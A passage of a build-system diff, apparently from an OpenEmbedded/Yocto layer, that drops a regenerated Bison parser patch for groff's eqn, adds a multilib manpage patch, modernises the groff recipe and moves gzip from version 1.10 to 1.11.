-+#line 197 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = new quoted_text_box((yyvsp[0].str)); }
--#line 1617 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1632 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 25:
--#line 195 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 199 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = split_text((yyvsp[0].str)); }
--#line 1623 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1638 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 26:
--#line 197 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 201 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = new quoted_text_box((yyvsp[0].str)); }
--#line 1629 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1644 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 27:
--#line 199 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 203 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = new half_space_box; }
--#line 1635 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1650 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 28:
--#line 201 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 205 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = new space_box; }
--#line 1641 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1656 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 29:
--#line 203 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 207 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = new tab_box; }
--#line 1647 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1662 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 30:
--#line 205 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 209 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = (yyvsp[-1].b); }
--#line 1653 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1668 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 31:
--#line 207 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 211 "src/preproc/eqn/eqn.ypp"
- { (yyvsp[0].pb)->set_alignment(CENTER_ALIGN); (yyval.b) = (yyvsp[0].pb); }
--#line 1659 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1674 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 32:
--#line 209 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 213 "src/preproc/eqn/eqn.ypp"
- { (yyvsp[0].pb)->set_alignment(LEFT_ALIGN); (yyval.b) = (yyvsp[0].pb); }
--#line 1665 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1680 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 33:
--#line 211 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 215 "src/preproc/eqn/eqn.ypp"
- { (yyvsp[0].pb)->set_alignment(RIGHT_ALIGN); (yyval.b) = (yyvsp[0].pb); }
--#line 1671 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1686 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 34:
--#line 213 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 217 "src/preproc/eqn/eqn.ypp"
- { (yyvsp[0].pb)->set_alignment(CENTER_ALIGN); (yyval.b) = (yyvsp[0].pb); }
--#line 1677 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1692 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 35:
--#line 215 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 219 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = (yyvsp[-1].mb); }
--#line 1683 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1698 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 36:
--#line 217 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 221 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = make_delim_box((yyvsp[-3].str), (yyvsp[-2].b), (yyvsp[0].str)); }
--#line 1689 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1704 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 37:
--#line 219 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 223 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = make_delim_box((yyvsp[-1].str), (yyvsp[0].b), 0); }
--#line 1695 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1710 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 38:
--#line 221 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 225 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = make_overline_box((yyvsp[-1].b)); }
--#line 1701 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1716 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 39:
--#line 223 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 227 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = make_underline_box((yyvsp[-1].b)); }
--#line 1707 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1722 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 40:
--#line 225 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 229 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = make_prime_box((yyvsp[-1].b)); }
--#line 1713 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1728 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 41:
--#line 227 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 231 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = make_accent_box((yyvsp[-2].b), (yyvsp[0].b)); }
--#line 1719 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1734 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 42:
--#line 229 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 233 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = make_uaccent_box((yyvsp[-2].b), (yyvsp[0].b)); }
--#line 1725 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1740 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 43:
--#line 231 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 235 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = new font_box(strsave(get_grfont()), (yyvsp[0].b)); }
--#line 1731 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1746 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 44:
--#line 233 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 237 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = new font_box(strsave(get_gbfont()), (yyvsp[0].b)); }
--#line 1737 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1752 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 45:
--#line 235 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 239 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = new font_box(strsave(get_gfont()), (yyvsp[0].b)); }
--#line 1743 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1758 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 46:
--#line 237 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 241 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = new fat_box((yyvsp[0].b)); }
--#line 1749 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1764 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 47:
--#line 239 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 243 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = new font_box((yyvsp[-1].str), (yyvsp[0].b)); }
--#line 1755 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1770 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 48:
--#line 241 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 245 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = new size_box((yyvsp[-1].str), (yyvsp[0].b)); }
--#line 1761 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1776 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 49:
--#line 243 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 247 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = new hmotion_box((yyvsp[-1].n), (yyvsp[0].b)); }
--#line 1767 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1782 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 50:
--#line 245 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 249 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = new hmotion_box(-(yyvsp[-1].n), (yyvsp[0].b)); }
--#line 1773 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1788 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 51:
--#line 247 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 251 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = new vmotion_box((yyvsp[-1].n), (yyvsp[0].b)); }
--#line 1779 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1794 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 52:
--#line 249 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 253 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = new vmotion_box(-(yyvsp[-1].n), (yyvsp[0].b)); }
--#line 1785 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1800 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 53:
--#line 251 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 255 "src/preproc/eqn/eqn.ypp"
- { (yyvsp[0].b)->set_spacing_type((yyvsp[-1].str)); (yyval.b) = (yyvsp[0].b); }
--#line 1791 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1806 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 54:
--#line 253 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 257 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = new vcenter_box((yyvsp[0].b)); }
--#line 1797 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1812 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 55:
--#line 255 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 259 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = make_special_box((yyvsp[-1].str), (yyvsp[0].b)); }
--#line 1803 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1818 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 56:
--#line 260 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 264 "src/preproc/eqn/eqn.ypp"
- {
- int n;
- if (sscanf((yyvsp[0].str), "%d", &n) == 1)
- (yyval.n) = n;
- a_delete (yyvsp[0].str);
- }
--#line 1814 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1829 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 57:
--#line 270 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 274 "src/preproc/eqn/eqn.ypp"
- { (yyval.pb) = new pile_box((yyvsp[0].b)); }
--#line 1820 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1835 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 58:
--#line 272 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 276 "src/preproc/eqn/eqn.ypp"
- { (yyvsp[-2].pb)->append((yyvsp[0].b)); (yyval.pb) = (yyvsp[-2].pb); }
--#line 1826 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1841 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 59:
--#line 277 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 281 "src/preproc/eqn/eqn.ypp"
- { (yyval.pb) = (yyvsp[-1].pb); }
--#line 1832 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1847 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 60:
--#line 279 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 283 "src/preproc/eqn/eqn.ypp"
- { (yyvsp[-1].pb)->set_space((yyvsp[-3].n)); (yyval.pb) = (yyvsp[-1].pb); }
--#line 1838 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1853 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 61:
--#line 284 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 288 "src/preproc/eqn/eqn.ypp"
- { (yyval.mb) = new matrix_box((yyvsp[0].col)); }
--#line 1844 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1859 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 62:
--#line 286 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 290 "src/preproc/eqn/eqn.ypp"
- { (yyvsp[-1].mb)->append((yyvsp[0].col)); (yyval.mb) = (yyvsp[-1].mb); }
--#line 1850 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1865 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 63:
--#line 291 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 295 "src/preproc/eqn/eqn.ypp"
- { (yyval.col) = new column((yyvsp[0].b)); }
--#line 1856 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1871 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 64:
--#line 293 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 297 "src/preproc/eqn/eqn.ypp"
- { (yyvsp[-2].col)->append((yyvsp[0].b)); (yyval.col) = (yyvsp[-2].col); }
--#line 1862 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1877 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 65:
--#line 298 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 302 "src/preproc/eqn/eqn.ypp"
- { (yyval.col) = (yyvsp[-1].col); }
--#line 1868 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1883 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 66:
--#line 300 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 304 "src/preproc/eqn/eqn.ypp"
- { (yyvsp[-1].col)->set_space((yyvsp[-3].n)); (yyval.col) = (yyvsp[-1].col); }
--#line 1874 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1889 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 67:
--#line 305 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 309 "src/preproc/eqn/eqn.ypp"
- { (yyvsp[0].col)->set_alignment(CENTER_ALIGN); (yyval.col) = (yyvsp[0].col); }
--#line 1880 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1895 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 68:
--#line 307 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 311 "src/preproc/eqn/eqn.ypp"
- { (yyvsp[0].col)->set_alignment(LEFT_ALIGN); (yyval.col) = (yyvsp[0].col); }
--#line 1886 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1901 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 69:
--#line 309 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 313 "src/preproc/eqn/eqn.ypp"
- { (yyvsp[0].col)->set_alignment(RIGHT_ALIGN); (yyval.col) = (yyvsp[0].col); }
--#line 1892 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1907 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 70:
--#line 311 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 315 "src/preproc/eqn/eqn.ypp"
- { (yyvsp[0].col)->set_alignment(CENTER_ALIGN); (yyval.col) = (yyvsp[0].col); }
--#line 1898 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1913 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 71:
--#line 315 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 319 "src/preproc/eqn/eqn.ypp"
- { (yyval.str) = (yyvsp[0].str); }
--#line 1904 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1919 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 72:
--#line 317 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 321 "src/preproc/eqn/eqn.ypp"
- { (yyval.str) = (yyvsp[0].str); }
--#line 1910 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1925 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 73:
--#line 322 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 326 "src/preproc/eqn/eqn.ypp"
- { (yyval.str) = (yyvsp[0].str); }
--#line 1916 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1931 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 74:
--#line 324 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 328 "src/preproc/eqn/eqn.ypp"
- { (yyval.str) = strsave("{"); }
--#line 1922 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1937 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 75:
--#line 326 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 330 "src/preproc/eqn/eqn.ypp"
- { (yyval.str) = strsave("}"); }
--#line 1928 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1943 "src/preproc/eqn/eqn.cpp"
- break;
-
-
--#line 1932 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1947 "src/preproc/eqn/eqn.cpp"
-+
- default: break;
- }
- /* User semantic actions sometimes alter yychar, and that requires
-@@ -2042,12 +2058,10 @@ yyerrlab:
- | yyerrorlab -- error raised explicitly by YYERROR. |
- `---------------------------------------------------*/
- yyerrorlab:
--
-- /* Pacify compilers like GCC when the user code never invokes
-- YYERROR and the label yyerrorlab therefore never appears in user
-- code. */
-- if (/*CONSTCOND*/ 0)
-- goto yyerrorlab;
-+ /* Pacify compilers when the user code never invokes YYERROR and the
-+ label yyerrorlab therefore never appears in user code. */
-+ if (0)
-+ YYERROR;
-
- /* Do not reclaim the symbols of the rule whose action triggered
- this YYERROR. */
-@@ -2109,6 +2123,7 @@ yyacceptlab:
- yyresult = 0;
- goto yyreturn;
-
-+
- /*-----------------------------------.
- | yyabortlab -- YYABORT comes here. |
- `-----------------------------------*/
-@@ -2116,6 +2131,7 @@ yyabortlab:
- yyresult = 1;
- goto yyreturn;
-
-+
- #if !defined yyoverflow || YYERROR_VERBOSE
- /*-------------------------------------------------.
- | yyexhaustedlab -- memory exhaustion comes here. |
-@@ -2126,6 +2142,10 @@ yyexhaustedlab:
- /* Fall through. */
- #endif
-
-+
-+/*-----------------------------------------------------.
-+| yyreturn -- parsing is finished, return the result. |
-+`-----------------------------------------------------*/
- yyreturn:
- if (yychar != YYEMPTY)
- {
-@@ -2155,5 +2175,5 @@ yyreturn:
- #endif
- return yyresult;
- }
--#line 329 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1903 */
-+#line 333 "src/preproc/eqn/eqn.ypp"
-
-diff --git a/src/preproc/eqn/eqn.hpp b/src/preproc/eqn/eqn.hpp
-index 32a32a5..9a092c1 100644
---- a/src/preproc/eqn/eqn.hpp
-+++ b/src/preproc/eqn/eqn.hpp
-@@ -1,8 +1,9 @@
--/* A Bison parser, made by GNU Bison 3.2. */
-+/* A Bison parser, made by GNU Bison 3.4.1. */
-
- /* Bison interface for Yacc-like parsers in C
-
-- Copyright (C) 1984, 1989-1990, 2000-2015, 2018 Free Software Foundation, Inc.
-+ Copyright (C) 1984, 1989-1990, 2000-2015, 2018-2019 Free Software Foundation,
-+ Inc.
-
- This program is free software: you can redistribute it and/or modify
- it under the terms of the GNU General Public License as published by
-@@ -170,10 +171,9 @@ extern int yydebug;
-
- /* Value type. */
- #if ! defined YYSTYPE && ! defined YYSTYPE_IS_DECLARED
--
- union YYSTYPE
- {
--#line 30 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1906 */
-+#line 34 "src/preproc/eqn/eqn.ypp"
-
- char *str;
- box *b;
-@@ -182,9 +182,9 @@ union YYSTYPE
- int n;
- column *col;
-
--#line 186 "src/preproc/eqn/eqn.hpp" /* yacc.c:1906 */
--};
-+#line 186 "src/preproc/eqn/eqn.hpp"
-
-+};
- typedef union YYSTYPE YYSTYPE;
- # define YYSTYPE_IS_TRIVIAL 1
- # define YYSTYPE_IS_DECLARED 1
diff --git a/src/preproc/eqn/eqn.ypp b/src/preproc/eqn/eqn.ypp
index fb318c3..b7b647e 100644
--- a/src/preproc/eqn/eqn.ypp
diff --git a/meta/recipes-extended/groff/files/0001-Make-manpages-mulitlib-identical.patch b/meta/recipes-extended/groff/files/0001-Make-manpages-mulitlib-identical.patch
new file mode 100644
index 0000000000..9105da6457
--- /dev/null
+++ b/meta/recipes-extended/groff/files/0001-Make-manpages-mulitlib-identical.patch
@@ -0,0 +1,27 @@
+From e738f9185ba90f2083c846ade3551234bb5a7cbc Mon Sep 17 00:00:00 2001
+From: Jeremy Puhlman <jpuhlman@mvista.com>
+Date: Sat, 7 Mar 2020 00:59:13 +0000
+Subject: [PATCH] Make manpages mulitlib identical
+
+Upstream-Status: Pending
+Signed-off-by: Jeremy Puhlman <jpuhlman@mvista.com>
+---
+ Makefile.am | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/Makefile.am b/Makefile.am
+index d18c49b..6175fe9 100644
+--- a/Makefile.am
++++ b/Makefile.am
+@@ -917,7 +917,7 @@ SUFFIXES += .man
+ -e "s|[@]MDATE[@]|`$(PERL) $(top_srcdir)/mdate.pl $<`|g" \
+ -e "s|[@]OLDFONTDIR[@]|`echo $(oldfontdir) | sed -f $(makevarescape)`|g" \
+ -e "s|[@]PDFDOCDIR[@]|`echo $(pdfdocdir) | sed -f $(makevarescape)`|g" \
+- -e "s|[@]SYSTEMMACRODIR[@]|`echo $(systemtmacdir) | sed -f $(makevarescape)`|g" \
++ -e "s|[@]SYSTEMMACRODIR[@]|`echo $(systemtmacdir) | sed -e 's,$(libdir),$(prefix)/lib*,' | sed -f $(makevarescape)`|g" \
+ -e "s|[@]TMAC_AN_PREFIX[@]|$(tmac_an_prefix)|g" \
+ -e "s|[@]TMAC_M_PREFIX[@]|$(tmac_m_prefix)|g" \
+ -e "s|[@]TMAC_MDIR[@]|$(tmacdir)/mm|g" \
+--
+2.23.0
+
diff --git a/meta/recipes-extended/groff/groff_1.22.4.bb b/meta/recipes-extended/groff/groff_1.22.4.bb
index 082597f693..b281544aab 100644
--- a/meta/recipes-extended/groff/groff_1.22.4.bb
+++ b/meta/recipes-extended/groff/groff_1.22.4.bb
@@ -3,7 +3,7 @@ DESCRIPTION = "The groff (GNU troff) software is a typesetting package which rea
formatting commands and produces formatted output."
SECTION = "base"
HOMEPAGE = "http://www.gnu.org/software/groff/"
-LICENSE = "GPLv3"
+LICENSE = "GPL-3.0-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
@@ -12,13 +12,17 @@ SRC_URI = "${GNU_MIRROR}/groff/groff-${PV}.tar.gz \
file://groff-not-search-fonts-on-build-host.patch \
file://0001-support-musl.patch \
file://0001-Include-config.h.patch \
+ file://0001-Make-manpages-mulitlib-identical.patch \
"
SRC_URI[md5sum] = "08fb04335e2f5e73f23ea4c3adbf0c5f"
SRC_URI[sha256sum] = "e78e7b4cb7dec310849004fa88847c44701e8d133b5d4c13057d876c1bad0293"
+# Remove at the next upgrade
+PR = "r1"
+
DEPENDS = "bison-native"
-RDEPENDS_${PN} += "perl sed"
+RDEPENDS:${PN} += "perl sed"
inherit autotools-brokensep texinfo multilib_script pkgconfig
@@ -27,9 +31,16 @@ MULTILIB_SCRIPTS = "${PN}:${bindir}/gpinyin ${PN}:${bindir}/groffer ${PN}:${bind
EXTRA_OECONF = "--without-x --without-doc"
PARALLEL_MAKE = ""
-CACHED_CONFIGUREVARS += "ac_cv_path_PERL='/usr/bin/env perl' ac_cv_path_BASH_PROG='no'"
+CACHED_CONFIGUREVARS += "ac_cv_path_PERL='/usr/bin/env perl' ac_cv_path_BASH_PROG='no' PAGE=A4"
+
+# Delete these generated files since we depend on bison-native
+# and regenerate them. Do it deterministically (always).
+do_configure:prepend() {
+ rm -f ${S}/src/preproc/eqn/eqn.cpp
+ rm -f ${S}/src/preproc/eqn/eqn.hpp
+}
-do_install_append() {
+do_install:append() {
# Some distros have both /bin/perl and /usr/bin/perl, but we set perl location
# for target as /usr/bin/perl, so fix it to /usr/bin/perl.
for i in afmtodit mmroff gropdf pdfmom grog; do
@@ -51,15 +62,19 @@ do_install_append() {
rm -rf ${D}${bindir}/glilypond
rm -rf ${D}${libdir}/groff/glilypond
rm -rf ${D}${mandir}/man1/glilypond*
+
+ # not ship /usr/bin/grap2graph and its releated man files
+ rm -rf ${D}${bindir}/grap2graph
+ rm -rf ${D}${mandir}/man1/grap2graph*
}
-do_install_append_class-native() {
+do_install:append:class-native() {
create_cmdline_wrapper ${D}/${bindir}/groff \
-F${STAGING_DIR_NATIVE}${datadir_native}/groff/${PV}/font \
-M${STAGING_DIR_NATIVE}${datadir_native}/groff/${PV}/tmac
}
-FILES_${PN} += "${libdir}/${BPN}/site-tmac \
+FILES:${PN} += "${libdir}/${BPN}/site-tmac \
${libdir}/${BPN}/groffer/"
BBCLASSEXTEND = "native"
diff --git a/meta/recipes-extended/gzip/gzip-1.10/wrong-path-fix.patch b/meta/recipes-extended/gzip/gzip-1.11/wrong-path-fix.patch
index 7c37bc8d2d..7c37bc8d2d 100644
--- a/meta/recipes-extended/gzip/gzip-1.10/wrong-path-fix.patch
+++ b/meta/recipes-extended/gzip/gzip-1.11/wrong-path-fix.patch
diff --git a/meta/recipes-extended/gzip/gzip.inc b/meta/recipes-extended/gzip/gzip.inc
index 04f8f95dd5..b32584033b 100644
--- a/meta/recipes-extended/gzip/gzip.inc
+++ b/meta/recipes-extended/gzip/gzip.inc
@@ -3,15 +3,14 @@ DESCRIPTION = "GNU Gzip is a popular data compression program originally written
project. Mark Adler wrote the decompression part"
HOMEPAGE = "http://www.gnu.org/software/gzip/"
SECTION = "console/utils"
-# change to GPLv3+ in 2007/07. Previous GPLv2 version is 1.3.12
inherit autotools texinfo
export DEFS="NO_ASM"
-EXTRA_OEMAKE_class-target = "GREP=${base_bindir}/grep"
-EXTRA_OECONF_append_libc-musl = " gl_cv_func_fflush_stdin=yes "
+EXTRA_OEMAKE:class-target = "GREP=${base_bindir}/grep"
+EXTRA_OECONF:append:libc-musl = " gl_cv_func_fflush_stdin=yes "
-do_install_append () {
+do_install:append () {
if [ "${base_bindir}" != "${bindir}" ]; then
# Rename and move files into /bin (FHS), which is typical place for gzip
install -d ${D}${base_bindir}
@@ -25,7 +24,7 @@ do_install_append () {
inherit update-alternatives
ALTERNATIVE_PRIORITY = "100"
-ALTERNATIVE_${PN} = "gunzip gzip zcat"
+ALTERNATIVE:${PN} = "gunzip gzip zcat"
ALTERNATIVE_LINK_NAME[gunzip] = "${base_bindir}/gunzip"
ALTERNATIVE_LINK_NAME[gzip] = "${base_bindir}/gzip"
ALTERNATIVE_LINK_NAME[zcat] = "${base_bindir}/zcat"
diff --git a/meta/recipes-extended/gzip/gzip_1.10.bb b/meta/recipes-extended/gzip/gzip_1.10.bb
deleted file mode 100644
index 50dad7bf58..0000000000
--- a/meta/recipes-extended/gzip/gzip_1.10.bb
+++ /dev/null
@@ -1,40 +0,0 @@
-require gzip.inc
-
-LICENSE = "GPLv3+"
-
-SRC_URI = "${GNU_MIRROR}/gzip/${BP}.tar.gz \
- file://run-ptest \
- "
-SRC_URI_append_class-target = " file://wrong-path-fix.patch"
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504 \
- file://gzip.h;beginline=8;endline=20;md5=6e47caaa630e0c8bf9f1bc8d94a8ed0e"
-
-PROVIDES_append_class-native = " gzip-replacement-native"
-
-RDEPENDS_${PN}-ptest += "make perl perl-ptest grep diffutils"
-
-BBCLASSEXTEND = "native nativesdk"
-
-inherit ptest
-
-do_install_ptest() {
- mkdir -p ${D}${PTEST_PATH}/src/build-aux
- cp ${S}/build-aux/test-driver ${D}${PTEST_PATH}/src/build-aux/
